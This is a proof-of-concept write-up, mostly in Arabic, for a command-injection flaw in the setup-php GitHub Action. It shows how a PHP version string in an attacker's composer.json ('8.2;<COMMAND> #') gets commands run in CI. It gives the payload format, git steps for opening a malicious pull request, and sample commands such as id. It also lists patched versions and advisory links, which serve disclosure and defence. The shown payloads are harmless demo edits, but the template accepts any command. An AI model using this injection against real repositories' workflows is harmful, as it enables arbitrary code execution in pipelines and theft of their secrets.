
PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution.
حقن أوامر في shivammathur/setup-php عندما يتم تحميل إصدار PHP من ملفات يتحكم بها المستودع.
المتأثر:
>= 2.25.0, < 2.37.1
المُصحَّح:
>= 2.37.1
المستودع الهدف يحتوي بالفعل على سير عمل ضعيف يقوم بسحب محتويات طلب السحب وتشغيل [email protected].
المهاجم يغير فقط composer.json.
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
عندما يقرأ setup-php إصدار PHP من composer.json، يتم تضمين الأمر المُحقَن في السكربت الشلّي المُنشأ وتنفيذه.
النتيجة:
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
أنشئ فرعًا من المستودع الهدف:
git checkout -b poc-test
استبدل ملف composer.json النظيف بنسخة PoC:
cp attacker/composer.json composer.json
قم بتنفيذ الالتزام والدفع:
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test
افتح طلب سحب من poc-test إلى main.
يجب أن يظهر تشغيل الإجراءات أن demo-app/.env.example تم تعديله خلال خطوة setup-php.
تنسيق الحمولة هو:
8.2;<COMMAND> #
الحمولة الحالية:
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
الأمر المُنفَّذ هو:
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
لتغيير ما يفعله PoC، استبدل الأمر بين 8.2; و #.
أنشئ ملفًا:
8.2;touch poc-executed #
اكتب إلى ملف:
8.2;printf 'poc executed\n' > poc-result.txt #
اطبع مخرجات الأمر:
8.2;id #
مثال composer.json:
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
قم بالترقية إلى [email protected] أو أحدث.
يتم رفض نفس الحمولة على الإصدار المصحح.
https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r
https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b